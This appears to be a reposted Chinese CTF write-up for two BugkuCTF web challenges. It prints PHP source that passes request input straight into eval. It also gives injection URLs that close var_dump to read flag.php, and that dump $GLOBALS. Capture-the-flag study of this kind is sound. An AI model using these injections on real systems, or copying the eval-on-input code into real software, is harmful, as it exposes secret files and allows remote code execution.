BugkuCTF web writeup

转载

weixin_33938733 于 2018-10-21 17:15:55 发布 106 收藏
文章标签： php
原文链接：https://segmentfault.com/a/1190000016750234

本地包含

题目信息

地址：http://123.206.87.240:8003/

```
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
```

知识基础

涉及到的几个函数：
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据，但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码，且必须以分号结尾。

```
<?php
eval("echo'hello';echo' world';");
?>
# output
hello world
```

3.var_dump: 函数用于输出变量的相关信息

```
# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); >  string(6) "string"
```

解题思路

eval应该是此题的突破口，能够执行php代码。
hello是接受参数的变量，接下来就是构建hello变量，使其能够闭合var_dump，利用print_r输出

首先闭合var_dump: `1)";`
第二步构建print_r：`print_r(file("./flag.php"));`

URL构建结束：
`http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")`

构建的URL触发的 eval操作为
`eval("var_dump(1);print_r(file("./flag.php")")`

成功输出 flag.php 文件内容

参考资源

1.echo(),print(),print_r()之间的区别？
2.PHP file() 函数

变量1

题目信息

http://123.206.87.240:8004/index1.php

```
flag In the variable ! <?php

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
```

知识基础

isset: 用于检测变量是否已设置并且非 NULL。
prep_match: 用于执行一个正则表达式匹配。

解题思路

flag In the variable ! 提示 flag 在变量中

根据`!preg_match("/^\w+$/",$args)`得知，arg只能是任意字母，数字，下划线，汉字的字符组成

`eval("var_dump($$args);");` 使$GLOBALS变量被输出即可

url: `http://123.206.87.240:8004/index1.php?args=GLOBALS`

参考资源

PHP 变量